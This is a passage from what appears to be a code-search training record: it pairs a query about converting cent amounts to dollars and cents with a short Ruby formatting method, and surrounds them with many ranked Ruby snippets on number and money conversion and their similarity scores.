0\nstring_array.map {|x| x + i += 0.1}\nend", "def __s2f(other)\n return other if other.is_a? Numeric\n if /^0[Xx][0-9a-fA-F]+$/ =~ other\n other.to_i(0).to_f\n else\n other.to_f\n end\n end", "def number_f\n return @number_f\n end", "def Float(p0) end", "def is_i?\n self.to_f == self.to_f.floor\n end", "def float_dec(x)\n Numerals::Format[:free, :exact_input].write(x)\nend", "def to_i\n to_d.to_i\n end", "def to_i\n val.to_i\n end", "def convert_value(value_node)\n if value_node.nil?\n return\n end\n if value_node['type'] == 'REAL' || value_node['value'].include?('.')\n return value_node['value'].to_f\n else\n return value_node['value'].to_i\n end\n end", "def to_i\n Integer(value)\n end", "def fracToDec(num,den)\r\n return num.to_f/den.to_f\r\nend", "def to_int\n @value.to_i\n end", "def to_f\n case @kind\n when :float_lit, :float_exp_lit,\n :integer_lit, :integer_exp_lit,\n :single_string_lit, :double_string_lit\n @value.to_f\n else\n self.to_i.to_f\n end\n end", "def float_from_integral_significand_exponent(s,e)\n Float.context.Num(s,e)\nend", "def integer(x)\n # return integer?(x) ? x.round : nil\n r = x.round\n ((x-r).abs <= relative_to(x)) ? r : nil\n end", "def VectorToInt (input)\n\toutput = 0\n\t\n\tfor i in 0...input.count\n\t\toutput += input[i] * 10**(input.count-i-1)\n\tend\n\n\treturn output\nend", "def convert_to_integer(value)\n if value == \"0\"\n value = 0\n elsif value.to_i == 0\n # Set to -1 as we are dealing with range 0-255 so -1 will raise error\n value = -1\n else\n value = value.to_i\n end\n return value\nend", "def float_or_interger(str)\n if str.include?\".\"\n num =str.to_f\n else\n num = str.to_i\n end\n return num\nend", "def input_to_num\n @input = @input.to_i\n end", "def int_bits_to_float(bits)\n s = bits >>31 == 0 ? 1 : -1\n e = (bits >> 23) & 0xff\n m = (e == 0) ? (bits & 0x7fffff) << 1 : (bits & 0x7fffff) | 0x800000\n s * m * 2 ** (e - 150)\n end", "def is_integer?(n)\n (n - n.to_i).abs < 0.0000001\nend", "def on_int(ast_node, context)\n return ast_node.children[0].to_f\n end", "def to_stringified_float(int)\r\n # your code goes here\r\n # use of methods\r\n\r\n int.to_f.to_s\r\nend", "def to_rep(val)\n val.to_f\n end", "def string_to_number(string)\n string.to_f\nend", "def toInt255(f_value)\n (f_value * 255).to_i\n end" ]
[ "0.67189145", "0.6681907", "0.6504741", "0.6380564", "0.6370364", "0.636963", "0.6347934", "0.63348866", "0.6334555", "0.6273026", "0.62485075", "0.62285346", "0.6225016", "0.62224764", "0.6220345", "0.6220345", "0.62096304", "0.62096304", "0.62096304", "0.6187017", "0.61830336", "0.6182532", "0.6147185", "0.6145812", "0.61358523", "0.61358523", "0.61358523", "0.61358523", "0.61358523", "0.6120093", "0.60960346", "0.6092038", "0.6091626", "0.6084121", "0.605335", "0.6043897", "0.6043127", "0.6022003", "0.5996754", "0.59897625", "0.598753", "0.59765893", "0.59765893", "0.59765893", "0.59765893", "0.59765893", "0.59765893", "0.59492725", "0.59492725", "0.5948632", "0.59439474", "0.5943676", "0.5933666", "0.5925691", "0.5922479", "0.5902155", "0.5901887", "0.5863293", "0.5853566", "0.5841835", "0.58204013", "0.5812608", "0.5801837", "0.5791526", "0.57911545", "0.57902324", "0.57817477", "0.5781615", "0.57749224", "0.5757077", "0.57490003", "0.57490003", "0.5736747", "0.57353926", "0.57322615", "0.5724568", "0.5708533", "0.5707966", "0.5706463", "0.5699045", "0.56935346", "0.5663291", "0.5660456", "0.5654868", "0.56518453", "0.5650854", "0.5638285", "0.56315225", "0.5627387", "0.56162643", "0.56149256", "0.5610065", "0.5609073", "0.5593536", "0.55922514", "0.55911213", "0.5586202", "0.5580476", "0.55696756", "0.556901", "0.55658084" ]
0.0
-1
Helper function to convert centbased money amounts to dollars and cents
def fm(money) money_string = format("%.2f", (money.abs/100.to_f)) if money < 0 money_string = '( ' + money_string + ' )' end return money_string end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def total_in_dollars_and_cents\n total.to_f / 100\n end", "def to_cents amount\n amount = amount.gsub(/[^0-9.]/, \"\")\n (amount.to_f * 100).to_i\n end", "def dollars_to_cents(dollars)\n (100 * dollars.to_r).to_i\nend", "def convert_to_cents(amount_in_usd)\n (amount_in_usd) ? (amount_in_usd * 100).ceil : 0\n end", "def dollars\n cents.to_f / 100\n end", "def amount_in_cents(amount)\n (100 * amount).to_i\n end", "def amount_cents \n (self.amount.to_f * 100).round.to_i\n end", "def cents(amount)\n (amount * 100).to_i\n end", "def amount_in_cents\n return 0 if amount.nil?\n (amount * 100).to_i\n end", "def roundcent(amount)\n return ((amount * 100).round)/100\n end", "def convert_money(currency)\n return currency.to_f / 100\n # if currency.to_s.include?(\".\")\n # return currency\n # else\n # return currency.to_f / 100\n # end\n end", "def convert_to_cents(to_currency)\n if to_currency == currency\n cents\n else\n @currency.exchange(to_currency, cents)\n end\n end", "def cents\n (amount * 100).to_i\n end", "def convert_to_usd(amount_in_cents)\n (amount_in_cents) ? BigDecimal.new(amount_in_cents.to_s) / 100 : 0\n end", "def us_dollar(cents); end", "def cents; end", "def prepare_amount amount\n BigDecimal.new(amount)/100\n end", "def price_in_cents\n\t\tInteger(price * 100 + 0.50)\n\tend", "def cents\n @cents\n end", "def currency_converter amount, location\n case location\n when 'US' then \"$%.2f\" % amount\n when 'Japan' then \"$%.0f\" % amount\n when 'UK' then (\"$%.2f\" % amount).gsub('.', ',')\n end\nend", "def convert_dollars_to_cents(atr)\n cnsd = controller_name.singularize.downcase.to_sym\n if params[cnsd][atr].present?\n dollars = params[cnsd][atr].delete(',').to_f\n params[cnsd][atr] = (dollars * 100).round\n end\n end", "def price_in_cents\n Integer( price * 100 + 0.5 ) # +0.5 Because floating-point numbers don’t always have an exact internal representation.\n end", "def price_in_cents\n Integer(price*100 + 0.5)\n end", "def euro_from_cents(float_amount)\n if float_amount\n euro(float_amount / 100.0)\n else\n \"undefined\"\n end\n end", "def formatted_price\n price_in_dollars = price_in_cents.to_f / 100\n sprintf(\"%.2f\", price_in_dollars)\n end", "def formatted_price\n price_in_dollars = price_in_cents.to_f / 100\n sprintf(\"%.2f\", price_in_dollars) # <= What's all this business?\n end", "def price_in_dollars\n price_in_cents/100.0 unless price_in_cents.nil?\n end", "def to_f\n (BigDecimal.new(cents.to_s) / currency.subunit_to_unit).to_f\n end", "def to_f\n (BigDecimal.new(cents.to_s) / currency.subunit_to_unit).to_f\n end", "def amount_cents\n properties['amount_cents'] || 0.0\n end", "def invoice_total_to_cents\n self.invoice_total = (invoice_total * 100).round\n end", "def price_in_cents\n\t\tInteger(price * 100 + 0.5)\n\tend", "def fee_cents\n (fee.to_f * 100.0).round\n end", "def price_in_cents\n (cart.total_price*100).round\n end", "def formated_in_provided_currency(amount_cents, currency_code, no_cents_if_whole = false)\n Money.new(amount_cents, currency_code).format(:no_cents_if_whole => no_cents_if_whole)\n end", "def to_dollar(amount)\n # round_to(@balance)\n format('%.2f', amount)\n end", "def cost_in_dollars\n self.cost / 100.to_f\n end", "def price_in_cents\n\t\tInteger(@price*100 + 0.5)\n\tend", "def convert(amount, currency_from, currency_to)\n return Money.new(amount, currency_from).exchange_to(currency_to).fractional\n end", "def convert_price_to_dollar\n \tself.price = self.price.to_f/100\n end", "def to_price(amount)\n amount.to_s.gsub(/[^\\d]/, \"\").gsub(/^(\\d+)(\\d{2})$/, '\\1.\\2').to_f\n end", "def to_price(amount)\n amount.to_s.gsub(/[^\\d]/, \"\").gsub(/^(\\d+)(\\d{2})$/, '\\1.\\2').to_f\n end", "def dollars\n to_f\n end", "def dollars\n to_f\n end", "def dollars\n to_f\n end", "def convert_total_to_cents(total)\n return unless total\n\n (Float(total) * 100).round\n end", "def to_money amount\n\t\t\tamount.to_f.round(2) rescue 0.0\n\t\tend", "def to_currency(amount)\n\n decimal = BigDecimal.new(amount.to_s)\n\n full_integer = (decimal * 100)\n\n return currency = Money.new(full_integer)\n\n end", "def price_in_cents=(cents)\n\t\t@price = cents / 100.0\n\tend", "def price_in_cents=(cents)\n\t\t@price = cents / 100.0\n\tend", "def from_dollars(currency_code, amount)\n curr = RATES.fetch(currency_code)\n total = amount / curr\n return total.round(2)\nend", "def to_dollars(currency_code, amount)\n curr = RATES.fetch(currency_code)\n total = amount * curr\n return total.round(2)\nend", "def cents\n @cents ||= interval_in_cents\n end", "def currency(amount)\n number_to_currency amount.to_s, {:unit => \"\", :delimiter => ',', :seperator => '.'}\n end", "def amount_to_currency(number)\n number_to_currency(number.to_f, { unit: '£' })\n end", "def euro(cents); end", "def money(amount)\n number_to_currency amount.to_s, {:unit => 'R ', :delimiter => ',', :seperator => '.'}\n end", "def parse_amount_owed text_amount\n (parse_amount_cents text_amount).abs\n end", "def format_amount(amount)\n ActionController::Base.helpers.number_to_currency(amount.to_f / 100)\n end", "def to_amount(value, currency)\n to_bigdecimal(value).round(precision(currency))\n end", "def to_currency(num)\n format(\"$%.2f\",num)\nend", "def usd(cents); end", "def exchange(cents, from_currency, to_currency)\n rate = get_rate(from_currency, to_currency)\n if !rate\n raise Money::UnknownRate, \"No conversion rate known for '#{from_currency}' -> '#{to_currency}'\"\n end\n (cents * rate).floor\n end", "def dollar_total\n total / 100.0\n end", "def amount_in_cents\r\n read_attribute(:amount) \r\n end", "def prettymoney(amount)\n '$%.2f' % cents_to_dollars(amount).to_s\n end", "def exchange(cents, from, to)\n rate = get_rate(from, to)\n raise(Money::UnknownRate, \"No conversion rate for #{from} -> #{to}\") unless rate\n (cents * rate).floor # or round here?\n end", "def round_dollar_amt ( dollar_amt )\n dollar_amt.slice!(/\\..*$/)\n dollar_amt = Integer(dollar_amt)\n end", "def converted_amount(other)\n (currency == other.currency ? other : other.convert_to(currency)).amount.to_f\n end", "def convert_to_euros_1(dollars)\n dollars * 0.95 if dollars.is_a?(Numeric)\nend", "def format_money(amount)\n amount = '%.2f' % amount.to_f\n return \"$#{amount}\"\nend", "def convert_to_euros(dollars)\n if dollars.is_a?(Numeric)\n dollars * 0.95\n end\nend", "def extra_cost_cents_in_report_currency\n if self.extra_cost_cents.present?\n Currency.convert_amount(self.project.account.account_setting.default_currency, self.currency, self.extra_cost_cents, self.report_currency_exchange_rate)\n else\n 0\n end\n end", "def to_usd(amt, currency)\n unless currency == \"USD\"\n path = @xml_parser.find_conversion_path(currency, \"USD\")\n amount = @xml_parser.get_rates_from_xml(path[0])\n #pp path # print the path array (for debug if you need it)\n\n #conversion = find_conversion_amt(currency, \"USD\")\n else\n conversion = BigDecimal.new('1') \n end\n amt = BigDecimal(amt)\n amount = amt * conversion\n #puts \"amount is #{amount}\"\n round_banker_style(amount)\n end", "def exchange(cents, from_currency, to_currency)\n from_currency.upcase!\n to_currency.upcase!\n if !@rates[from_currency] or !@rates[to_currency] \n raise Money::UnknownRate, \"No conversion rate known for '#{from_currency}' -> '#{to_currency}'\"\n end\n ((cents / @rates[from_currency]) * @rates[to_currency]).round\n end", "def round_tax(amt)\n ((amt * @nearest_cent).ceil / @nearest_cent)\n end", "def to_str_currency(amount)\n\n amount_fix = amount * 100\n\n return Money.new(amount_fix, \"CAD\").format\n\n end", "def price_in_cents\n #TODO should be total price of all products in cart\n #(cart.total_price*100).round\n (cart.total_price*1).round\n end", "def convert_to(convert_currency)\n Money::Converter.new(amount, currency, convert_currency).convert \n end", "def as_ca_dollar\n exchange_to(\"CAD\")\n end", "def as_ca_dollar\n exchange_to(\"CAD\")\n end", "def as_ca_dollar\n exchange_to(\"CAD\")\n end", "def as_ca_dollar\n exchange_to(\"CAD\")\n end", "def extract_amount(value)\n value.match(/[\\d.,]*\\d+[.,]\\d+/)[0].gsub(/[.,]/,'').to_f/100\n end", "def currency_amount\n # define this elsewhere\n currencymark = '$'\n if self.credit?\n sprintf(\"%s%0.2f\",currencymark,self.amount)\n else\n # put minus sign before dollar\n sprintf(\"-%s%0.2f\", currencymark, self.amount.abs)\n end\n end", "def to_currency(amount)\n number_to_currency amount, :precision => 0\n end", "def money_to_currency(money)\n if money && numeric?(money)\n #number_to_currency(money.to_d, unit: money.currency.symbol)\n number_to_currency(money.to_d, unit: current_tenant.default_currency.symbol)\n else\n number_to_currency(Monetize.parse(\"0\"))\n end\n end", "def pretty_price\n \"$#{price_in_cents / 100.0}\"\n end", "def /(value)\n if value.is_a?(Money)\n if currency == value.currency\n (cents / BigDecimal.new(value.cents.to_s)).to_f\n else\n (cents / BigDecimal(value.exchange_to(currency).cents.to_s)).to_f\n end\n else\n Money.new(cents / value, currency)\n end\n end", "def exchange(cents, from_currency = \"EUR\", to_currency = \"EUR\")\n exchange_with(Money.new(cents, from_currency), to_currency)\n end", "def total_to_currency\n amount_to_currency(@invoice_json['total'])\n end", "def to_d\n BigDecimal(cents.to_s) / 10 ** precision\n end", "def cents_deviation ratio\n unaltered = cents_of_unaltered ratio\n deviation = (ratio.cents % 1200) - unaltered\n\n # Account for extreme displacements, such as cDs\n if unaltered == 0.0 && deviation > 600.0\n deviation -= 1200.0\n end\n\n if deviation < 0\n \"#{deviation.round}\"\n else\n \"+#{deviation.round}\"\n end\n end", "def eur(cents); end", "def total_in(currency)\n Money.new(total_price_cents, \"USD\").exchange_to(currency)\n end", "def price=(dollars)\n self.price_in_cents = dollars.to_f * 100\n end", "def display_currency(amount)\n '$' + ('%.2f' % amount).chomp('.00')\n end", "def converter(integer)\n integer = integer.to_s\n cents = integer[-2..-1]\n dollars = integer[0..-3]\n return_statement = \"#{dollars}.#{cents}\"\n end", "def converter(integer)\n integer = integer.to_s\n cents = integer[-2..-1]\n dollars = integer[0..-3]\n return_statement = \"#{dollars}.#{cents}\"\n end", "def dollar amt\n #TOOD: need commas in the right places\n sprintf \"$%0.02f\", amt\nend", "def money_convert(money)\n if money != 0 \n print_mon = money.to_s\n print_mon = \"$#{print_mon.insert -3, \".\"}\"\n else\n print_mon = 0\n end\n end" ]
[ "0.81262195", "0.81045693", "0.79996216", "0.7926415", "0.7734494", "0.7716773", "0.7639761", "0.7593025", "0.75784427", "0.75651765", "0.74982554", "0.74623346", "0.7461361", "0.740305", "0.7185292", "0.71624905", "0.7073904", "0.70576066", "0.7043411", "0.6994738", "0.699383", "0.6984037", "0.69751126", "0.6923765", "0.69164073", "0.6898909", "0.68864673", "0.686102", "0.686102", "0.68539226", "0.6838243", "0.682688", "0.68265146", "0.6815771", "0.6799624", "0.67974114", "0.67946756", "0.6793163", "0.67928463", "0.67856735", "0.6768971", "0.6768971", "0.6755087", "0.6755087", "0.6755087", "0.6751471", "0.6728964", "0.6721923", "0.670102", "0.670102", "0.6699908", "0.66995996", "0.6684373", "0.66793126", "0.66677547", "0.66519624", "0.6640001", "0.6633894", "0.65724844", "0.654899", "0.6537036", "0.65304184", "0.65191287", "0.6514119", "0.6463562", "0.6444231", "0.64072275", "0.6407038", "0.63948613", "0.6394838", "0.63875747", "0.63871497", "0.6368552", "0.6365514", "0.635585", "0.6340389", "0.63371336", "0.6323061", "0.63140315", "0.63034743", "0.63034743", "0.63034743", "0.63034743", "0.6299025", "0.6297588", "0.6295796", "0.6286978", "0.6283235", "0.62786776", "0.6278457", "0.6272045", "0.62650865", "0.62415856", "0.6232631", "0.6227966", "0.6217612", "0.6217386", "0.6199049", "0.6199049", "0.61787677", "0.6173812" ]
0.0
-1
using it is a smell, try to find dedicated methods instead
def success? instance_of?(Success) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def private; end", "def implementation; end", "def implementation; end", "def specie; end", "def specie; end", "def specie; end", "def specie; end", "def probers; end", "def schubert; end", "def custom; end", "def custom; end", "def internal; end", "def suivre; end", "def private_method\n end", "def wrapper; end", "def who_we_are\r\n end", "def refutal()\n end", "def strategy; end", "def weber; end", "def operations; end", "def operations; end", "def used?; end", "def overload; end", "def extra; end", "def identify; end", "def methods; end", "def methods; end", "def methods; end", "def methods; end", "def internal?; end", "def intensifier; end", "def method; end", "def method; end", "def method; end", "def method; end", "def method; end", "def method; end", "def method; end", "def method; end", "def method; end", "def method; end", "def method; end", "def method; end", "def formation; end", "def processor; end", "def isolated; end", "def isolated; end", "def helpers; end", "def helpers; end", "def helpers; end", "def overrides; end", "def methods() end", "def missing; end", "def handle; end", "def operation; end", "def common\n \n end", "def call; end", "def call; end", "def call; end", "def call; end", "def call; end", "def call; end", "def call; end", "def call; end", "def anchored; end", "def macro; raise NotImplementedError; end", "def macro; raise NotImplementedError; end", "def macro; raise NotImplementedError; end", "def ignores; end", "def returns; end", "def missing?; end", "def checks; end", "def implemented_in; end", "def same; end", "def executor; end", "def executor; end", "def executor; end", "def from; end", "def from; end", "def from; end", "def from; end", "def spec; end", "def spec; end", "def zuruecksetzen()\n end", "def prepareForReuse; end", "def terpene; end", "def ibu; end", "def used\n raise NotImplementedError\n end", "def generic?; true; end", "def sitemaps; end", "def code_of_conduct; end", "def apply\n\t\t\n\tend", "def apply\n\t\t\n\tend", "def usable?; end", "def invention; end", "def calls; end", "def calls; end", "def r; end", "def r; end", "def offences_by; end", "def original; end" ]
[ "0.79596835", "0.68345714", "0.68345714", "0.6818231", "0.6818231", "0.6818231", "0.6818231", "0.6572362", "0.6508349", "0.64531887", "0.64531887", "0.6409746", "0.639816", "0.6370745", "0.6318534", "0.624656", "0.6235846", "0.6211991", "0.6150513", "0.61335653", "0.61335653", "0.6115794", "0.606723", "0.60374516", "0.59951705", "0.59835863", "0.59835863", "0.59835863", "0.59835863", "0.59832615", "0.59644896", "0.59613085", "0.59613085", "0.59613085", "0.59613085", "0.59613085", "0.59613085", "0.59613085", "0.59613085", "0.59613085", "0.59613085", "0.59613085", "0.59613085", "0.5959472", "0.59378403", "0.5916338", "0.5916338", "0.5913872", "0.5913872", "0.5913872", "0.58927655", "0.5882498", "0.5875429", "0.5872741", "0.5847612", "0.58436465", "0.5843563", "0.5843563", "0.5843563", "0.5843563", "0.5843563", "0.5843563", "0.5843563", "0.5843563", "0.58192706", "0.579893", "0.579893", "0.579893", "0.579202", "0.5777392", "0.5776442", "0.57763743", "0.5755005", "0.57508826", "0.574532", "0.574532", "0.574532", "0.5745016", "0.5745016", "0.5745016", "0.5745016", "0.57427806", "0.57427806", "0.57409596", "0.57174087", "0.57033306", "0.56620586", "0.5657596", "0.5655384", "0.5648354", "0.56453097", "0.5642053", "0.5642053", "0.56357026", "0.5634548", "0.56270516", "0.56270516", "0.56200045", "0.56200045", "0.5617064", "0.56117433" ]
0.0
-1
use only in tests, prefer other methods such as `map`, `flat_map`, `and`, `fold` or `get_or_else`
def get! throw NotImplementedError end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def conditionally(*) end", "def conditionally(*) end", "def selected_map!(arr, prc1, prc2)\n arr.map! do |ele|\n if prc1.call(ele)\n prc2.call(ele)\n else\n ele\n end\n end\nnil\nend", "def my_method(array)\n if array.empty?\n []\n elsif array.map {|value| value * value } # this produces an array, which evaluates to true, so the empty elsif branch is executed (which returns nil)\n else\n [7 * array.first]\n end\nend", "def map_if?(val, &block)\n if val\n yield val\n end\n end", "def _reduce_47(val, _values, result)\n result = @builder.logical_op(:and, val[0], val[1], val[2])\n \n result\nend", "def _reduce_47(val, _values, result)\n result = @builder.logical_op(:and, val[0], val[1], val[2])\n \n result\nend", "def _reduce_46(val, _values, result)\n result = @builder.logical_op(:and, val[0], val[1], val[2])\n \n result\nend", "def _reduce_46(val, _values, result)\n result = @builder.logical_op(:and, val[0], val[1], val[2])\n \n result\nend", "def _reduce_46(val, _values, result)\n result = @builder.logical_op(:and, val[0], val[1], val[2])\n \n result\nend", "def _reduce_41(val, _values, result)\n result = @builder.logical_op(:and, val[0], val[1], val[2])\n \n result\nend", "def _reduce_41(val, _values, result)\n result = @builder.logical_op(:and, val[0], val[1], val[2])\n \n result\nend", "def _reduce_49(val, _values, result)\n result = @builder.logical_op(:and, val[0], val[1], val[2])\n \n result\nend", "def _reduce_49(val, _values, result)\n result = @builder.logical_op(:and, val[0], val[1], val[2])\n \n result\nend", "def _reduce_49(val, _values, result)\n result = @builder.logical_op(:and, val[0], val[1], val[2])\n \n result\nend", "def _reduce_49(val, _values, result)\n result = @builder.logical_op(:and, val[0], val[1], val[2])\n \n result\nend", "def _reduce_46(val, _values, result)\n result = @builder.logical_op(:and, val[0], val[1], val[2])\n\n result\nend", "def some?(arr, &prc)\n results = false\n arr.each do |a|\n results |= prc.call(a) # results = result | prc.call(a)\n end\n results\nend", "def returns_accumulator_anywhere?(return_values, accumulator_name); end", "def _reduce_34(val, _values, result)\n result = @builder.logical_op(:and, val[0], val[1], val[2])\n \n result\nend", "def _reduce_41(val, _values, result)\n result = @builder.logical_op(:and, val[0], val[1], val[2])\n\n result\nend", "def _reduce_49(val, _values, result)\n result = @builder.logical_op(:and, val[0], val[1], val[2])\n\n result\nend", "def _reduce_53(val, _values, result)\n result = @builder.logical_op(:and, val[0], val[1], val[2])\n \n result\nend", "def fn_and(value)\n result = value.map do |val|\n apply_condition(val)\n end\n if result.to_s.include?(RUNTIME_MODIFIED)\n UNKNOWN_RUNTIME_RESULT\n else\n result.all?\n end\n end", "def selected_map!(arr, proc_1, proc_2)\r\n arr.each_with_index { |el, i| arr[i] = proc_2.call(el) if proc_1.call(el) }\r\n nil\r\nend", "def _reduce_36(val, _values, result)\n result = logical_op :and, val[0], val[2]\n \n result\nend", "def _reduce_36(val, _values, result)\n result = logical_op :and, val[0], val[2]\n \n result\nend", "def my_all?(collection)\n i = 0\n return_value = []\n while i < collection.length\n return_value << yield(collection[i])\n i += 1\n end\n\n # check to see if the return values from yielding contains a false\n if return_value.include?(false)\n false\n else\n true\n end\n\nend", "def _reduce_34(val, _values, result)\n result = @builder.logical_op(:and, val[0], val[1], val[2])\n\n result\nend", "def _reduce_53(val, _values, result)\n result = @builder.logical_op(:and, val[0], val[1], val[2])\n\n result\nend", "def my_method(array)\n if array.empty?\n []\n elsif array.size > 1 # missing elsif condition in original code on line 4\n array.map do |value|\n value * value\n end\n else\n [7 * array.first]\n end\nend", "def match_maker(*el)\n\nnewEl = []\nel.each do |x|\n x == true ? x : x == false ? x : x.nil? == true ? x = false : x = true\n newEl << x\nend\n\ndefiningBool = newEl.shift\n\nresult = []\nnewEl.each_slice(2) { |a,b| result << [a,b]}\n\nif definingBool == false\n\nresult.each_with_index do |arr, index|\nresult[index] = (arr[0] == arr[1] )\nend\n\nelse\n result.each_with_index do |arr, index|\n result[index] = !(arr[0] == arr[1])\nend\n\nend\nresult\n\nend", "def all_else_equal(arr)\n\nend", "def proctition(arr, &prc)\n true_arr = []\n false_arr = []\n\n arr.each do |ele|\n if prc.call(ele)\n true_arr << ele\n else\n false_arr << ele\n end\n end\n true_arr.concat(false_arr)\nend", "def my_all?(collection)\n i = 0\n block_return_values = []\n while i < collection.length\n block_return_values << yield(collection[i]) #or .push, in this case shove is being used.\n i = i + 1 #i += does the same thing. Use this if it's easier for you.\n end\n\n if block_return_values.include?(false)\n false\n else\n true\n end\nend", "def fn_or(value)\n result = value.map do |val|\n apply_condition(val)\n end\n if result.to_s.include?(RUNTIME_MODIFIED)\n UNKNOWN_RUNTIME_RESULT\n else\n result.any?\n end\n end", "def _reduce_38(val, _values, result)\n result = s(:and, val[0], val[2])\n \n result\nend", "def _reduce_38(val, _values, result)\n result = s(:and, val[0], val[2])\n \n result\nend", "def truthTest\r\n truth = [true, false]\r\n truth.each do |t|\r\n if (t)\r\n return true\r\n end\r\n end\r\n return false\r\nend", "def proctition(arr, &prc)\n true_arr = []\n false_arr = []\n\n arr.each do |ele|\n if prc.call(ele)\n true_arr << ele\n else\n false_arr << ele\n end\n end\n\n true_arr + false_arr\nend", "def any?(array)\n return false if array.empty?\n result = nil\n\n array.each do |element|\n result = yield(element)\n return result if result == true\n end\n\n result\nend", "def _reduce_48(val, _values, result)\n result = @builder.logical_op(:and, val[0], val[1], val[2])\n \n result\nend", "def _reduce_48(val, _values, result)\n result = @builder.logical_op(:and, val[0], val[1], val[2])\n \n result\nend", "def fmap_left(&map)\n self.or { Failure(map.call(_1)) }\n end", "def my_all?(collection)\n i = 0 \n block_return_values = []\n while i < collection.length\n \n # declare our array & yield each element in the collection\n \n block_return_values << yield(collection[i])\n i = i + 1 \n end\n \n # add an ' #include? ' method to determine the return value of the my_all? method.\n \n if block_return_values.include?(false)\n false \n else \n true \n end\nend", "def _reduce_51(val, _values, result)\n lhs, _, rhs = val\n result = logical_op :and, lhs, rhs\n\n result\nend", "def _reduce_51(val, _values, result)\n lhs, _, rhs = val\n result = logical_op :and, lhs, rhs\n\n result\nend", "def _reduce_51(val, _values, result)\n lhs, _, rhs = val\n result = logical_op :and, lhs, rhs\n\n result\nend", "def yeah_or_booh boolean\n boolean && 'yeah' || 'booh'\nend", "def my_any?(arr, &prc)\n arr.each do |ele|\n return true if prc.call(ele)\n end\n false\nend", "def what_is thing\n $things[thing] && $things[thing].map{|t| what_is(t)}.flatten || [thing]\nend", "def _reduce_54(val, _values, result)\n lhs, _, rhs = val\n result = logical_op :and, lhs, rhs\n\n result\nend", "def _reduce_16(val, _values, result)\n result = IfElse.new(val[2], val[4], []) \n result\nend", "def _reduce_349(val, _values, result)\n result = s(:if, val[1], val[3], val[4])\n \n result\nend", "def _reduce_39(val, _values, result)\n result = s(:and, val[0], val[2])\n \n result\nend", "def map_boolean(ident, &block) ; map_primitive(:boolean, ident, &block) ; end", "def _reduce_52(val, _values, result)\n lhs, _, rhs = val\n result = logical_op :and, lhs, rhs\n\n result\nend", "def _reduce_52(val, _values, result)\n lhs, _, rhs = val\n result = logical_op :and, lhs, rhs\n\n result\nend", "def _reduce_52(val, _values, result)\n lhs, _, rhs = val\n result = logical_op :and, lhs, rhs\n\n result\nend", "def _reduce_52(val, _values, result)\n lhs, _, rhs = val\n result = logical_op :and, lhs, rhs\n\n result\nend", "def _reduce_52(val, _values, result)\n lhs, _, rhs = val\n result = logical_op :and, lhs, rhs\n\n result\nend", "def _reduce_52(val, _values, result)\n lhs, _, rhs = val\n result = logical_op :and, lhs, rhs\n\n result\nend", "def _reduce_52(val, _values, result)\n lhs, _, rhs = val\n result = logical_op :and, lhs, rhs\n\n result\nend", "def map(&block)\n return zero if nothing?\n return Maybe.new block.call(value) if just?\n end", "def test_map_bang\n array = [1,2,3,4,5,6,7,8]\n array.map! {|x| (x * 2 ) - 1 }\n assert_equal [1, 3, 5, 7, 9, 11, 13, 15] , array\n end", "def my_all?(arr, &prc)\n arr.each do |ele|\n return false if !prc.call(ele)\n end\n true\nend", "def some?(arr, &prc)\n\n arr.each do |ele|\n return true if prc.call(ele)\n end\nfalse\nend", "def any?(array)\n array.each do |element|\n return true if yield(element)\n end\n \n false\nend", "def f6; return *['a','b'] &['a','Y','Z'] end", "def _reduce_14(val, _values, result)\n result = If.new(val[2], val[4]) \n result\nend", "def truth_table(method, *result)\n for a in [ false, true ]\n expected = result.shift\n assert_equal(expected, method.call(a))\n assert_equal(expected, method.call(a ? self : nil))\n end\n end", "def some?(array, &prc)\n array.each do |ele|\n return true if prc.call(ele)\n end\n false\nend", "def some?(arr, &prc)\n arr.each { |el| return true if prc.call(el)}\n false\nend", "def _reduce_337(val, _values, result)\n result = s(:if, val[1], val[3], val[4])\n \n result\nend", "def _reduce_337(val, _values, result)\n result = s(:if, val[1], val[3], val[4])\n \n result\nend", "def complex_condition?(condition); end", "def _reduce_58(val, _values, result)\n lhs, _, rhs = val\n result = logical_op :and, lhs, rhs\n\n result\nend", "def selected_map!(arr, proc_1, proc_2)\n arr.each.with_index do |ele, idx|\n if proc_1.call(ele)\n arr[idx] = proc_2.call(ele)\n end\n end\n nil\nend", "def with_falsy\n yield nil\n yield false\nend", "def logical_calc(arr, op)\n op=='AND' ? arr.reduce(:&) : op=='OR' ? arr.reduce(:|) : arr.reduce(:^)\nend", "def _reduce_53(val, _values, result)\n lhs, _, rhs = val\n result = logical_op :and, lhs, rhs\n\n result\nend", "def _reduce_53(val, _values, result)\n lhs, _, rhs = val\n result = logical_op :and, lhs, rhs\n\n result\nend", "def _reduce_53(val, _values, result)\n lhs, _, rhs = val\n result = logical_op :and, lhs, rhs\n\n result\nend", "def test_0130_map\n @@log.debug \"test_0130_map starts\" if @@log.debug?\n assert_respond_to(@list, :map, \"test_0130_map_respond\")\n # And array of dummy objects is returned\n new_list = @list.map { \"dummy\" }\n assert(new_list.size == @list.size,\"test_0130_map_basic\")\n assert(new_list[@list.size - 1] == \"dummy\",\"test_0130_map_sizecheck\")\n # Check Enumerator or Array return, no block given\n new_list = @list.map\nif RUBY_VERSION >= \"1.9\"\n result = new_list.is_a? Enumerator\n assert(result, \"test_0130_map_enumcheck\")\nelse\n result = new_list.is_a? Array\n assert(result, \"test_0130_map_arraycheck\")\nend\n # Create new Array 2\n new_list = @list.map {|obj| obj.ndata * 2 }\n assert(new_list == [8,6,4,2], \"test_0130_map_ndx2\")\n # Create new Array 3\n new_list = @list.map {|obj| obj.last }\n expected = [\"Newman\", \"Barker\", \"Bronson\", \"Dev\"]\n assert(new_list == expected, \"test_0130_map_lastname\")\n @@log.debug \"test_0130_map ends\" if @@log.debug?\n end", "def _reduce_355(val, _values, result)\n result = s(:if, val[1], val[3], val[4])\n \n result\nend", "def _reduce_355(val, _values, result)\n result = s(:if, val[1], val[3], val[4])\n \n result\nend", "def _reduce_355(val, _values, result)\n result = s(:if, val[1], val[3], val[4])\n \n result\nend", "def some\r\n each do |value|\r\n result = yield(value)\r\n return true if result\r\n end\r\n return false\r\n end", "def my_method(array)\n if array.empty?\n []\n elsif array.size > 1\n array.map do |value|\n value * value\n end\n else\n [7 * array.first]\n end\nend", "def my_method(array)\n if array.empty?\n []\n elsif array.size > 1\n array.map do |value|\n value * value\n end\n else\n 